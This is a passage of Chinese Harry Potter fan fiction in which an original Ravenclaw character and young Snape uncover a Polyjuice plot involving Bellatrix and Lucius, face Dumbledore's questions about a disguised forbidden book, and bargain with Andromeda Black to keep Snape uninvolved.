而小天狼星站在原地,眼睁睁那抹黑色的鸦影消失在校医院大门的缝隙中。
斯内普推门进校医院的时候,罗萨利亚刚艰难咽下最后一口药剂,再低下头时,穆宁已经钻进她怀里了。
她有点惊讶地看着朝她走来的斯内普:“你……刚刚是不是撞见西里斯·布莱克了?”
斯内普“哼”了一声,坐在她身边。
“他又惹你了?”罗萨利亚上下打量他。
斯内普不置可否,问:“布莱克怎么会到这里来?”
“他捡到了我的渡鸦,送来校医院治疗,刚好被我撞见。”罗萨利亚拧起眉头,不是很高兴地说:“不过准确来说,他也不是捡到的。”
“什么意思?”斯内普问。
罗萨利亚招招手示意他靠近,斯内普便往床边挪了一点。他刚倾斜身体,便被罗萨利亚揪住袖子拉到面前,耳边登时传来温热的呼气。
斯内普略微挣扎着把头挪开:“你说什么?”
罗萨利亚又说了一遍:“我说,我对他摄神取念了。”
“你看到什么了?”他问。
“说来话长,”罗萨利亚深吸一口气,“你说,人怎么能在捅了这么大篓子之后全身而退?还能心态这么好——走吧,正好回去路上和你说。”
“你是说你现在可以走了?”斯内普皱眉。
“我刚喝过药剂,庞弗雷夫人说喝完就可以走了。”罗萨利亚把魔杖交给穆宁叼着,又把它放到斯内普肩膀上:“我换衣服,你先出去。”
斯内普背对着白帘站好,一阵窸窸窣窣的声音过后,罗萨利亚便拉开帘子出来了:“走吧。”
“你还记得禁书区的事吗?”
“我正猜测火灾和此事有关。”
两人从校医院走了出来。
“没错。事情变得麻烦起来了。”罗萨利亚快速地说道:“简而言之,圣诞节返校回来的‘纳西莎·布莱克’是西里斯的堂姐贝拉特里克斯·布莱克喝下复方汤剂伪装的。据我所知,她已经投奔了……”说着,她想起了什么,抬眼望向斯内普。而斯内普却自然地接上她的话,主动道:“伏地魔。”
是了。这一时期,伏地魔这个名字虽然广为人知,但还没有到噤若寒蝉的地步。
罗萨利亚停顿,是因为她忽然想起,圣诞节时斯内普一听她提起伏地魔就捂住了她的嘴,仿佛很忌讳一样。但现在,他却没什么特别的表现……
其实这才对,斯内普现下分给伏地魔的注意力本就不多。但是,这就有点怪了——他上次不是因为“伏地魔”才变脸的吗?但她实在不想用摄神取念回顾那天的事……
算了,先说正事。
罗萨利亚道:“是的,而卢修斯·马尔福目前正在她的监督下完成伏地魔交代的某种考验——这考验恐怕与禁书区丢失的物品有关。昨天晚上,是卢修斯和贝拉特里克斯先闯进了拉文克劳休息室翻东找西——我估计他们就是在搜索那样丢失的物品——随后,西里斯·布莱克披着隐形斗篷夜游,正好撞见了他们——”
“隐形斗篷?”斯内普打断了她。
“那是波特家族祖传的东西。”罗萨利亚随口解释了一句,继续道:“然后,他趁二人不注意,也跟了进来,还在穆宁的掩护下制造火灾打断了他们的行动,最后西里斯·布莱克又带着穆宁离开了现场——这就是火灾的真相了。”
说着,一连串的事件从罗萨利亚脑中流淌而过:开学后中夺魂咒的卢多·巴格曼、万圣节禁书区丢失的未知物品、魁地奇比赛卢修斯和纳西莎的争吵与戛然而止的线索、到现在的拉文克劳休息室火灾……线索逐渐串联起来了。
看来禁书区丢失的东西比自己想象中还要重要,甚至很可能属于伏地魔。
罗萨利亚最担心的事还是发生了:她的介入引发了一系列变故,现在,她根本无法确定它们在日后会产生什么影响。
“西弗勒斯,你最近还是离卢修斯和‘纳西莎’远一点吧。”她不安地说道:“你就当不知道这些事。”
24. 防不胜防
斯内普听完她全部的话,却提了另一件事:“所以,中午你和邓布利多教授聊完才那么难过?你以为穆宁死了?”
罗萨利亚一愣:“是……我当时表现得很明显吗?”
“傻子才看不出来。”斯内普道。
他的话音一落,穆宁便轻轻叫唤一声,贴紧了罗萨利亚。
斯内普主动折回话题,道:“你现在知道了这些事,接下来打算干什么?”
罗萨利亚的脚步停了下来。
事已至此,她是否该继续下去?她应不应该再做些什么呢?现在,她恐怕是唯一知道整件事的人,可是……
忽然,罗萨利亚又想到了什么,她缓缓开口问斯内普道:“你平时,和卢修斯他们在一起的时间多吗?”
“大概比你想的多一些。”斯内普道。
闻言,罗萨利亚沉默了。
“你已经有打算了,是吗?告诉我你是怎么想的。”斯内普侧身面对着她,轻轻问:“你真的不需要我做什么吗?”
罗萨利亚望向对方,低声问道:“你会熬制复方汤剂吗?”
“会。”斯内普的回答很简洁,也十分胸有成竹。他在等待罗萨利亚接下来的话。
“卢修斯知道你会吗?”
“他知道我会的很多。”他道:“卢修斯今年的魔药功课有我的出力。作为交换,我可以从他那拿到很多魔药材料。”
……她早该想到的,不然他拿什么改良欢欣剂?
“……我先说我的判断。”罗萨利亚深吸一口气,道:“我觉得,卢修斯很快——甚至今天晚上——就会找你熬制复方汤剂。”
“复方汤剂制作复杂、时效短、耗时长。任务没完成,再加上学校目前在严查进出,贝拉特里克斯和卢修斯恐怕不会善罢甘休地离去。”
她冷静地说道:“而比起联络外面的巫师熬制复方汤剂,若能直接在校内找到合适的人选岂不更省事?”
“而你,现在和卢修斯的关系很近。”
卢修斯几乎一定会找斯内普,而斯内普其实也没什么余地去拒绝他——很早以前,也许从那个“除你武器”开始,斯内普就被牵扯进来了。
罗萨利亚决断道:“如果他找你,你就假装什么也不知道,卢修斯估计也会找借口隐藏自己的意图——答应他,帮他做,但是悄悄留一点复方汤剂给我。”
她轻声问:“怎么样,西弗?”
斯内普看着她,微微皱起眉头。罗萨利亚还以为他要拒绝——他确实也可以拒绝,反而,如果他答应,才真是没有退路了——结果却听他道:“你要改改这个习惯,罗萨利亚。”
“什么?”
“你不能每次都在撒……求人或服软的时候,这样喊我——或者别人。”斯内普道:“你直接说,我就会考虑。”
“……哦。”罗萨利亚嘴巴一撅,道:“那你考虑得怎么样,西弗勒斯?”
斯内普发出一声很轻的哼笑,道:“可以。”
……
重返拉文克劳休息室后,罗萨利亚还站在原地惊叹了一会儿:魔法真是迷人——环顾四周,室内几乎找不出火烧的痕迹,一切都焕然一新。
穆宁“嘎”地一声从她肩头飞离,在书架之间找了个角落开始梳理羽毛。而罗萨利亚也准备直接回宿舍呆着。就在这时,一个声音忽然叫住了她。
只见女级长抱着一捆羊皮纸朝她快步走来:“你是罗萨利亚对吧?你好些了吗?”
罗萨利亚有些意外:“是的,我是。我几乎没什么不好的感觉了,谢谢。”
“那就好。”女级长点点头,又“呃”了一声道:“你上午不在,或许不知道,麦格教授和弗立维教授对我们宿舍进行了消防检查,还针对学生物品在火灾中的遗失和损耗做了登记。”
她将羊皮纸往下巴上拱了拱,道:“我在登记表上看到了你的名字。如果你回去后发现有什么东西没了(“多卡斯!你的午餐又凉了!”一个声音从茶室里传来),不用担心,学校会补给你的——知道了,这是最后一个!”
“哦……好的,谢谢你。”罗萨利亚回答。
这次宿舍检查,实际上更接近搜查的质……她会“损耗”什么东西?摄神取念清单她和斯内普从不保留……难道……不会是欢欣剂被没收了吧?
抱着这样的念头,罗萨利亚回到自己的鸟巢翻找起来,然而,欢欣剂还在,她也似乎没有丢失什么东西——
等一下。
罗萨利亚重新看向自己的书架。
紧密排列的书籍中间,露出了一小块空地。
她从左到右摸着书脊辨认了一遍,却发现所有课本都在。
奇怪。罗萨利亚手指一顿。这种感觉好熟悉……这不是禁书区丢失物品时的情景吗?
忽然,她有种不好的预感。
她的目光立刻在书本之间搜索起来——果然,这里有点太和谐了。
……那本自己从没翻开看过的、卢多·巴格曼用报纸包装起来的《魁地奇溯源》去了哪里?
【邓布利多教授……还派了弗立维教授和麦格教授检查拉文克劳休息室。】
【除此之外,其实我还有一件事需要和你聊聊……等你好起来,就来办公室找我。】
【教授检查了我们的宿舍……我在登记表上看到了你的名字。】
……卢多·巴格曼啊。回想过后,罗萨利亚糟心地闭上了眼睛,心道:你送礼物之前,就不能稍微检查一下吗?不会那么巧的,正好把伏地魔的东西当作《魁地奇溯源》给她打包送来了吧?
……
罗萨利亚一直磨蹭到傍晚,才犹犹豫豫地来到邓布利多办公室入口的那对雕塑前。
说实话,虽然她已经知道邓布利多会询问自己什么,也明白卢多·巴格曼的圣诞礼物完全是个意外——其中甚至有邓布利多自己促成的因素——但她还是感到不安。
她隐约觉得,自己在无意中改变了一个很重要的节点。但她完全描述不出那个节点是什么。
但愿,但愿一切不会往坏的方向发展。
罗萨利亚仔细回想了邓布利多在校医院对自己说过的话,然后便对雕塑说:“奶油花生糖。”
果然,口令正确,石兽雕塑跳到了一边。
她踏上楼梯,被一路送到了邓布利多办公室门口。
“邓布利多教授,我是罗萨利亚·拉文谢德。”罗萨利亚叩了叩狮神鹰首兽门环。
“请进。”邓布利多的声音清晰传来。
门自动打开了,罗萨利亚惊讶地发现邓布利多就站在门后。他身侧的镀金栖枝上,竟然有一只红金色的身影。她上次来时那里还是空荡荡的。
是凤凰福克斯。这还是罗萨利亚第一次见到它。
“你好啊,拉文谢德小姐。”邓布利多愉快地说:“我从庞弗雷夫人那里听到你找回信使渡鸦的事,还知道了它那动人的名字,穆宁——这个名字的含义是‘记忆’,对吧?”
“是的。这是我妈妈起的名字。”罗萨利亚回答。
“那么我猜测,它必然还有一位同伴,名为象征‘思想’的胡金?”(1)
“是的,教授。胡金是我妈妈的信使,她同时也
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是穆宁的妈妈。”
“原来如此。”邓布利多微微一笑,他看着凤凰说道:“向你介绍——这是福克斯,它是一只凤凰。虽然看起来老态龙钟,但它拥有从灰烬中重生的力量——它很快就会迎来它的新生。”他又道:“但不是每个生命,都有死而复生的机会。所以得知穆宁没事,我由衷地高兴。”
“谢谢您。”罗萨利亚也因为邓布利多这番话而微微动容。她一顿,主动问道:“您之前说,找我有事?”
“是的,”邓布利多背起手说,“你知道弗立维教授和麦格教授在上午造访了拉文克劳休息室和学生宿舍的事,对吧?”
“是的。”
“其实,他们的真实目的是寻找那个可能存在的吸引闯入者的东西——”他直言不讳,踱步到办公室中央,又道:“你还记得上一次你来我办公室所为的事吗?”
“……您是说,那次有关卢多的事?”
“没错,后来的事你也知道,为了保证巴格曼先生的安全,我放出了假消息,宣称找回了禁书区丢失的物品。”
邓布利多抬手示意罗萨利亚坐下来,又说:“不久后整件事偃旗息鼓,我还委婉地提醒巴格曼先生,是你找回了他的巫师牌,他应该向你表达感谢——毕竟,他的平安也是多亏了你。”
罗萨利亚道:“卢多确实感谢我了,他送了我一本《魁地奇溯源》作为圣诞礼物,还用贺卡告诉了我您的好意。”
“原来如此——这就说的通了。”邓布利多说着,在桌子后坐了下来,从抽屉里掏出了那本用报纸包裹的《魁地奇溯源》,道:“但是说实话,我以为他至少会送点新的东西作为礼物,而不是别人的二手物件。”
“别人的?”罗萨利亚配合地发出疑问:“那本《魁地奇溯源》难道不是卢多的吗?而且它为什么……会在您这里?”
“事实上,它并不是一本《魁地奇溯源》,拉文谢德小姐。它的伪装并不高明,只需一个原形立现就能戳穿。”
邓布利多抬眼望向她,说道:“我对它进行了检查,几乎能确定它就是之前存放在禁书区的那样东西。显然,昨夜闯入拉文克劳休息室的人,和当时操控了巴格曼先生的人,是一伙的。他们为了这东西卷土重来了——你不用担心,小姐,我没有怀疑你的意思,很显然,它会辗转到你手里完全是个意外。”
“然而,它太危险了,也很特殊——这就是麦格教授从你书架上把它拿走的原因。虽然我无法告诉你它具体是什么,但我很庆幸,它现在已经躺在我的办公室里了。更重要的是,你看起来没有因此受到不好的影响?是吗?”
“或许是因为……我几乎没有碰过这本书?”罗萨利亚说:“其实我对魁地奇不是很感兴趣,先生。”
“这样吗?”邓布利多摇摇头,无奈地笑了:“但愿巴格曼先生下次准备礼物时能用心一些。”
或者别再给她准备礼物了。罗萨利亚心想。
“不过,我们也不能期望人人都像斯内普先生那样肯花心思,对吧?”
忽然,邓布利多嘴角轻轻扬起,把罗萨利亚原本平稳的心给吊了起来。
“很抱歉,我不是有意窥探,只是麦格教授在发现欢欣剂之后,直接把它连同礼盒一起送到了我的办公室。”邓布利多道:“在她看来,欢欣剂不应该出现在低年级学生手里——但我认为没什么大不了的,就又拜托她物归原处了。我的意思是,你可以继续持有它。”
“不过,我对此确有困惑。”罗萨利亚听到邓布利多慢慢吐出疑问:“斯内普先生是从何处得到充足的材料,以改进欢欣剂的呢?”
25. 万事小心
听到这句话的瞬间,罗萨利亚下意识地运转起大脑封闭术。
摒弃情感之后,她就平静下来了:
……邓布利多一定是看到斯内普给自己留的圣诞纸条了。而斯内普之前会提到拉文克劳休息室被检查的事,也是在担心欢欣剂。
明明她不久前还得知了卢修斯“供货商”的身份——她太迟钝了。罗萨利亚冷冷地想。
邓布利多在这个时候提到此事,是已经察觉到了什么吗?她要怎么回答才能保全斯内普和自己?
电光石火间,她脑中转过无数想法:
说不知道?相当于把责任和风险全推给了斯内普承担,她不会这么做。
说是问斯拉格霍恩借的?太容易被识破了。
说是开学前就带来的?或者说是艾琳夫人寄送的?但斯内普没有私人猫头鹰,他也没有公用猫头鹰的租借记录。而这种包裹也会经手费尔奇检查。
说是自己给的?也许行,但她还得解释自己是从哪弄来的。
林林总总的借口都被她快速否决了。
最终,罗萨利亚在略微的停顿后说道:“抱歉,先生,这个问题我无法回答您。”
邓布利多始终保持微笑,只是收起了穿透性的目光。他轻快地说:“当然啦。我也觉得学生们应该有保留隐私的权利。而且,既然你信任他,我也愿意相信你看人的眼光,拉文谢德小姐。
“谢谢您的信任,先生。”
“总之,我想找你聊的,主要还是那件物品的事——为了方便称呼,我还是继续叫它禁书吧——从今天起,这本禁书将会留在我这里,并得到妥善而安全的看管。”邓布利多回到了刚才的话题,说:“现在,你可以放心地回去了,小姐。”
“好的,教授。”罗萨利亚站了起来,却没有马上离开,而是问:“邓布利多教授,其实我还有一个问题。”
邓布利多耐心地说:“请讲。”
“您接下来会追查闯入休息室的人吗?”她问。
“我当然会。我也不指望他们会善罢甘休。”邓布利多颔首道:“但我不希望引起学生的恐慌与骚乱。所以,我会秘密进行这一过程。”
“好的。”罗萨利亚点点头,转身离去。
“拉文谢德小姐。”邓布利多又叫住了她。
他平静地注视着罗萨利亚,说道:“今天的对话,还请你保密。包括对斯内普先生也是。好吗?”
……
罗萨利亚不知道自己是怎么从校长办公室离开,又漫步到打人柳附近的,就如她无法确定邓布利多最后那句话是在试探和提醒自己,还是一种已经确定事实后的警告。
天色已经黑下来了,她就这样隐没其中。四周一丝风都没有,可罗萨利亚却心乱如麻。
一方面,她明白邓布利多的态度足够温和,且并没有揪着此事不放的意思;可另一方面,她又知道,如果邓布利多真的信任自己和斯内普,就不会反复试探。
她从一开始就不该参与这件事的。罗萨利亚忽然冷漠地心想。
卢多·巴格曼的安危很重要吗?贝拉特里克斯目前潜伏在霍格沃茨又如何呢?如果她选择作壁上观,多年之后他们自有各自的命运。
而现在,因为她一时的多管闲事,斯内普反而被架到危险的位置上了——如果邓布利多查出了卢修斯,他作为马尔福,不见得会面临什么严重的惩处,甚至伏地魔那边也不一定能拿他怎么样。可斯内普一旦也被牵连出来,谁来替他兜底呢?
不。
她不会让他受牵连的。
罗萨利亚咧咧嘴唇,哈出一片雾气。
她都淌这趟浑水了,那就一定会让这件事万无一失。
“嘎——”
穆宁的声音从身后传来。罗萨利亚很快感觉到它的爪子落在了自己肩头。
穆宁来陪她了——
她甚至还因为这一系列的事差点失去穆宁——它陪伴了她整整四年。
罗萨利亚紧闭双眼,偏头贴紧渡鸦。这段时间发生的事从脑中淌过,她胸口剧烈地起伏了一下,随后叹出一大口气。
穆宁安抚般蹭了蹭她。
就在这时,一片漆黑中,罗萨利亚忽然感觉面前有什么东西在闪烁。
她困惑地睁开双眼,然后惊讶地看到了一只散发着莹莹光芒、栩栩如生地扇动翅膀围绕她转圈的折纸小鸟。
罗萨利亚伸出手,折纸小鸟便落到她掌心悬停,随后朝着她身后滑翔而去。
它划过枯萎的草地,最终落在了另一个人手中,微弱的光照亮那人的脸庞。罗萨利亚怔怔地看着他。
“你打算把自己饿死在这儿?”斯内普挥动魔杖:“荧光闪烁。”
一道光线落在地面上,直直地照到罗萨利亚脚下。
“快来。”斯内普道。
罗萨利亚朝他走过去,还小跑了两步:“你怎么找到这里来的。”
“不难猜。”斯内普用魔杖照了照打人柳,说:“人总会寻找自己熟悉的地方。”
两人在黑夜里对视了一会儿。
斯内普轻声说:“卢修斯找我了。”
“好的。”罗萨利亚平静而清晰地说道:“邓布利多要秘密搜查闯入休息室的学生了,你一定要万事小心。”
“我知道。”斯内普道:“走吧,莉莉还在礼堂等我们——”“西弗勒斯。”
罗萨利亚拽住了他的袖子,说:“以后你需要什么药材,找我,比起还在仰赖父亲点头的卢修斯,我能靠家养小精灵帮你更快搞到。作为交换,你以后得辅导我的魔药学,而且不能不耐烦——怎么样?”
良久之后,斯内普的声音飘散在夜色里:“可以。现在能走了吗?”
“……走吧!”
渡鸦振翅飞向夜空,二人这样一前一后地往霍格沃茨城堡走去,荧光闪烁把他们的影子拉得很长。
……
两个周后,格兰芬多餐桌上。
詹姆精疲力尽地用手肘戳同样顶着两个大黑眼圈的小天狼星,他举起泛红的手,小声说道:“你那个堂姐,到底有没有消息啊?都大半个月了,西里斯,你看我的手——我真的不想再擦那些奖杯了,到底有什么可擦的!”
小天狼星的双手也好不到哪儿去。这两个周,一到饭点,他的眼睛就几乎住在了斯莱特林的餐桌上,要么就是死死盯着飞来的猫头鹰信使,希望能得到来自安多米达的一点讯息。
结果,复方汤剂没等来,倒是见证了穆宁指挥几只渡鸦给斯莱特林餐桌联合派送超大礼盒的全过程——费尔奇先生骂骂咧咧地闯进礼堂,高声控诉这群渡鸦没有排队等他筛检包裹。
邓布利多只好任由费尔奇当场拆开礼盒查看——然后全校就都知道撒谎精给鼻涕精送了一大盒漂亮衣服当生日礼物这件事了。
而他的堂姐,两个多周过去了,还没给自己送来几滴能救他于关禁闭水火的复方汤剂。<
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詹姆不知道小天狼星又再发什么呆,只是抬手在他面前挥了挥:“晚点我要去庞弗雷夫人那里上药,西里斯,你也一起吧。”
“好。”小天狼星忿忿地应了一声。
与此同时,一阵猫头鹰的鸣叫从头顶传来。小天狼星干脆不抱希望了,头都没抬。谁知,下一秒,一封信就飘到了他的面前。
小天狼星和詹姆对视一眼,两人赶忙挤在一起拆信。
【给西里斯,
很抱歉,我尽力了。当我找到B.B.盛放复方汤剂的容器时,里面已经一滴都不剩了。我估计,她正随身携带着最后的存量,我很难得手。
但往好处想,这也意味着她撑不了太久。等复方汤剂完全耗尽,她很可能会冒险出逃霍格沃茨。那时候你的目的也就达到了。
不过,还有一种更大的可能,B.B.不会轻易放弃她的任务,她或许早已找好人在为她熬制复方汤剂了。我可以试着找找对方,或者按照复方汤剂的制作周期,我可以在二月初再试着从她那里弄来一些——我知道这不符合你的预期,但是,西里斯,不要轻举妄动。
这是我的忠告。
来自,
A.B.】
“二月——二月——”詹姆痛苦地小声哀嚎。
旁边的彼得见状,便忍不住想要看看信上写了什么。可还没等他探头,就被卢平伸手拉了回来。彼得的目光在三人身上低低地扫过一圈,最后插起一块香肠塞进嘴里吃了。
与詹姆不同的是,小天狼星的脸上却没有悲伤。他的手指正摩挲着倒数第二段字迹,眼睛也仿佛看到猎物一般在发光:“我怎么早没想到……”
忽然,他手中的信自行燃烧起来,小天狼星这才回过神。他拉起詹姆,好似恢复了活力,道:“走,詹姆,陪我回去写回信!”
赫奇帕奇餐桌末尾,莉莉望着两人跑了出去。直到詹姆和小天狼星的身影完全消失,她才扭过头来。
然而,令她惊讶的是,一旁的罗萨利亚和西弗勒斯也刚刚收回目光。于是她便开口道:“不知道那两个人又要干什么坏事去了。”
罗萨利亚和斯内普对视一眼,一起摇了摇头。
……
安多米达知道小天狼星性子急,却没想到寄出那封信的当天下午就收到了回信。
她控制住往格兰芬多餐桌上望去的冲动,把信装起来直到没人的地方才展开。
【给安多米达,
我知道你该找谁。给B.B.制作复方汤剂的,一定是他——你还记得之前我们见过的那个讨厌鬼吗?他叫鼻涕精(划痕)西弗勒斯·斯内普。
他可是马尔福的狗,巴不得为他鞍前马后呢——而且魔药水平也凑合。你盯着他,很快就好消息了。
来自,
S.B.】
安多米达沉默了。她一时间有点弄不明白西里斯是不是真的讨厌这个西弗勒斯·斯内普。
说他不恨,他就差在信中许愿对方能被立刻开除了;说他恨——连坚信一年级新生能熬制复方汤剂这样的话都说出来了。
她几不可见地摇了摇头,施咒将信纸烧灭。
不过,如果是真的……那么就能解释卢修斯为什么要拉拢这个混血巫师了。
安多米达往斯莱特林休息室走去。
先试试好了,反正应付一个一年级新生总要比应付贝拉容易很多。而且今晚正好有斯莱特林每周派对。
26. 成交
夜幕降临,安多米达更换了一身得体轻便的礼服长袍。虽然斯莱特林每周派对是非正式宴会,也很少有人会直接穿着巫师袍来。
从宿舍到公共休息室的走廊墙壁上已经布置好墨绿色缎幔。靠近入口时,门边的黑色立牌便会如水波般浮现漂亮的银白花体字。那上面记录着当周派对供应的甜品与酒水,最下方还有一行小字:感谢霍拉斯·斯拉格霍恩院长与斯拉格俱乐部的友情赞助。
休息室内,甜品推车在各个区域或黑或绿的扶手椅之间缓慢穿梭,浮空的雪克杯在吧台上摇晃。空气中蔓延着淡淡的熏香,黑湖水的微光透过巨大的玻璃墙,游鱼偶尔在地板上投下掠影。
安多米达到的时候,已经有不少人在低声攀谈了。她一进门,就被寒暄着引去一桌熟人跟前。
“很久不见你妹妹纳西莎了,安多米达,她跟卢修斯吵架了?”
“大概吧。也可能是在准备O.W.L.s?”安多米达的视线在休息室内环顾一圈:“我最近也在忙N.E.W.T的事,没怎么注意他俩在干什么——卢修斯今天也没来?”
“他来了,在那边。”
安多米达略微倾斜身子,终于看到了卢修斯。她接过悬空托盘送来的起泡酒,问:“他怎么在一年级那边?”
“因为今天我们这儿来了一位拉文克劳学院的学生,卢修斯很欢迎她。”她对面的人意味深长地举起酒杯轻啜:“她是拉文谢德家族的小家主,跟我们学院的一个混血关系不错,是来找他玩的。”
“你说的混血是卢修斯特别关照的那个吗?”安多米达不动声色地问,视线的余光却落在被卢修斯几乎遮挡住的一角银色裙摆上。
“没错。”另一个人道:“似乎是叫西弗勒斯·斯内普?”
“是这个名字,你没记错。”
安多米达:“你们怎么……好像都知道他?”
“我想起来了,上上个周日你不在。你错过了欣赏费尔奇在餐厅追着渡鸦跑的画面。”几个人低低地笑了。她们东拼西凑地将渡鸦、费尔奇和生日礼盒的事情讲了一遍。
“说实话,我真的很喜欢那些衣服的面料和剪裁,漂亮又日常。”
“不知道是不是在脱凡成衣店定制的。”
听着她们叽叽喳喳的讨论,安多米达压下舌尖的琼酿,心想,今天恐怕不是个接近他们好机会了。他们太惹眼了。
她打定主意,再稍微逗留片刻就回去,于是便站起来说:“我去挑挑甜食,你们聊。”
蜜糖挞、什锦甜点、巧克力泡芙……甜品推车安静地呆在原地等安多米达挑选。她没什么胃口,随手拿起一块巧克力曲奇咬了一口。舌尖甜味弥散,可她却没有正在享用美食的愉悦,反而微微有些出神。
比起赫奇帕奇的……
“跟赫奇帕奇的甜点相比,斯莱特林的还是略逊一筹。”
正是如此。安多米达有些惊讶地回头。
一个挽发脑后、身穿银色蕾丝纱裙的小女孩正站在她身侧。她捧着一杯南瓜汁,轻轻地笑着,眼波在黑湖水光下流淌,说道:“失礼了。不过这个确实有点太甜了,对吧?”
安多米达下意识往卢修斯刚才在的位置望去,此刻那抹白金色已经消失了。扶手椅上,那个混血男孩正在静静地看她这边——或者说是盯着她身边的女孩。
女孩说:“你好,我是罗萨利亚·拉文谢德。”
“安多米达·布莱克。”安多米达跟她握了握手,问道:“你似乎是拉文克劳学院的学生,为什么会了解赫奇帕奇的餐饮?”
“因为我和我的两个朋友,分别来自格兰芬多、拉文克劳和斯莱特林三个学院,为了能一起吃饭和聊天,我们会偷偷聚在赫奇帕奇的餐桌上。”女孩眨眨眼,说:“而且,赫奇帕奇的级长很包容我们,他还带我们吃过比这些更好吃的小吃。”
安多米达脑中突然闪过一个金发少年笑着将曲奇推到她面前的画面,她不禁问:“……你是说赫奇帕奇的级长泰德·唐克斯吗?”
“正是他。”罗萨利亚道:“唐克斯先生是个温暖、友好又风趣的人,很容易给人留下深刻印象。”
安多米达握紧了手中的酒杯,微微笑了:“他确实是。”
说完,安多米达很快意识到这是一个套话的机会,她主动开口:“我想你口中的朋友,其中一个就是西弗勒斯·斯内普?”
“没错。”面前的女孩看起来有些惊讶,她说道:“你认识西弗吗?”
“我听说了关于你送他生日礼物的事。”安多米达温和一笑,说:“我们要不要到旁边坐一坐?”
“好啊。”
安多米达走向帷幔后的桌椅,准备套套近乎:“请坐。你们关系真的很不错,是什么时候认识的?”
罗萨利亚坐到她的对面,很自然地说道:“入学前就认识了。他的母亲受托照料我,我们也可以算是……养兄妹的关系。”
“原来如此。”安多米达没想到还能得知这样的信息,她有些讶然。
“所以,我把他当家人那样看待。而对待家人,人们总是会格外包容。”女孩忽然道:“我想这一点,布莱克小姐应该十分认同?”
安多米达的手中的酒水轻轻晃动了一下,她敏锐地听出对方的语气有些不对劲,便把酒杯放在了桌上:“你是指?”
“我的意思是,”她看到女孩盈盈笑了,那笑容却并不直达眼底,“我坐在这里的原因,就跟你坐在这里的原因是一样的,布莱克小姐。”
“……我不太懂你在说什么。”
“那我就直说了。”罗萨利亚掏出了魔杖。安多米达几乎立刻注意到对方魔杖的材质是胡桃木。这让她心中升起一股违和的感觉——她姐姐贝拉的魔杖,也是胡桃木。
她见女孩轻念咒语、挥动魔杖。帷幔垂落下来,形成了狭小安静的空间。对方开口说道:
“布莱克小姐,我知道在拉文克劳休息室放火的人是西里斯·布莱克,也了解那晚发生了什么——我向你保证我掌握的信息经得起试探,所以你无需浪费时间来验证真伪。”
“因此,我也可以推测出来,如果西里斯想要寻求帮助,一定会找到和自己关系最好的堂姐——他拜托你寻找贝拉特里克斯·布莱克的复方汤剂了,对吧?他想要把它交给校长。”罗萨利亚淡淡地说。
即使有预感在先,安多米达还是被对方过于直接的对话方式打了个措手不及,浑浊而僵硬地陷入了被动。她盯着面前这个和自己两个堂弟差不了几岁的女孩,问:“你到底想干什么?你怎么知道的?”
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“我也想问你们布莱克家到底想干什么。”罗萨利亚平静地注视着安多米达的眼睛,语气却透着股淡淡的讽刺,说道:“你们家的人,一个胁迫我哥哥制作复方汤剂,一个羞辱他还不够,又让你借此机会抓他。三四个人揪着他一个局外人欺负,不觉得有点过分了吗?”
安多米达哑然。她听得出女孩的声音到最后已经有些哽咽。最重要的是,她没办法否认对方说的话——那个男孩如今的处境似乎就是这样。
“我不关心你们在搞什么,而把事情捅出去也会连累西弗哥哥——我不想让他在再这件事上受到更多牵扯了。”罗萨利亚放轻声音说道:“所以,我是来……请求和你做一笔交易的。”
“……什么交易?”安多米达问,她的神色已经变得有些复杂了。
“用一部分复方汤剂——这也是你想要的吧——交换一个能让西弗勒斯全身而退的承诺。我希望他像从来没被卷进去一样干净。”
“……我知道你的要求并不过分,我也很想答应,但我最多可以担保西里斯这边……如果邓布利多校长或者魔法部的人拿到复方汤剂后要进行审讯,我是无法确保西弗勒斯·斯内普能不被供出来的。”安多米达一边说,一边观察着女孩,她把对方明显的沉默收入眼底,说道:“除非——”
“除非什么?”
“除非,”安多米达缓缓说道,“贝拉特里克斯·布莱克提前得到提醒,主动撤离并成功逃脱。”
罗萨利亚听后,放下了手中的南瓜汁。她身体微微靠向扶手椅,了然地说道:“我明白了。”
“那么,”安多米达问,“你打算什么时候把复方汤剂给我?”
“复方汤剂的熬制还需要等待一个周。”罗萨利亚说道:“时间就定在一个周后的今天,怎么样?更多细节,我们当天见面聊。”
“成交。”
安多米达再次和罗萨利亚握了握手,道:“我还有最后一个问题。”
“请说。”罗萨利亚道。
安多米达问:“你的魔杖……核心是什么?”
罗萨利亚一顿,道:“凤凰羽毛。”
帷幔被重新笼起。安多米达目送对方回到那个男孩身边。她重新拿起酒杯,不以享受为目的地把剩下一点已经不再冒泡的酒水尽数咽下。
空空的酒杯对面是一杯已经沉淀的南瓜汁。
她看了一会儿,忽然地意识到,对方在交谈的全程中,一次也没有让南瓜汁摇晃。
“原来如此。”她道。
………
【亲爱的西里斯,
好消息,我已经确认了熬制复方汤剂的人——就是卢修斯·马尔福本人。说实话,我都不知道你为什么会认为一个一年级新生能熬制如此复杂的魔药。他哪有那个本事?你再讨厌他,也犯不着在这件事上糊涂。
总之,我已经计划好行动了,下个周我就可以把证据拿给你,在此之前你就好好关禁闭吧——不过你可以期待一下邓布利多会不会给格兰芬多加个五十学院分什么的——但你绝不能暴露我在此事中的作用,至于怎么跟他解释,你自己想。
最后,我要求你从零花钱里拿出五百加隆作为差遣费寄送给我,钱到交货。
来自,
A.B.】
27. 第一学年结束
二月初,寒风呼啸着在霍格沃茨的塔楼之间穿梭。
复方汤剂出现在邓布利多办公桌上的那天,正值新学期的第一场魁地奇比赛。斯拉格霍恩被叫来校长办公室的时候,身上还穿着支持斯莱特林赛队的绿色衣袍。
他接过小天狼星手中的小瓶子检查,最终眼睛亮亮地将其鉴定为近年来自己见过的质量最好的复方汤剂。邓布利多抬手谢过他的专业评价,并委婉表示尽管如此,他也不能给制作它的人加学院分。
魁地奇场地内,即将上场的斯莱特林魁地奇队员因为没有找到自家院长,只能向麦格教授报告了他们飞天扫帚缺失的问题。而他话音刚落,看台上的学生们便忽然指着霍格莫德村的方向大呼小叫。
远处“砰砰”的声响,吸引了与小天狼星一道离开办公室的斯拉格霍恩的注意。他面露不可思议地叹了一声“梅林的胡子”,解释说:他学生为魁地奇比赛准备的庆功烟花似乎放得有些太早了。而几步楼梯之隔的邓布利多,此刻也正站在窗前,他的手指在那本包裹着预言家日报的“禁书”上反复摩梭。
当天,斯莱特林休息室以及卢修斯的私人物品被全面搜查了,然而,没有任何可疑的魔药材料与遗留的复方汤剂。而卢修斯的父亲,阿布拉克萨斯·马尔福,在知道这件事的第二天,便亲自找到了邓布利多,希望能得到合理解释。
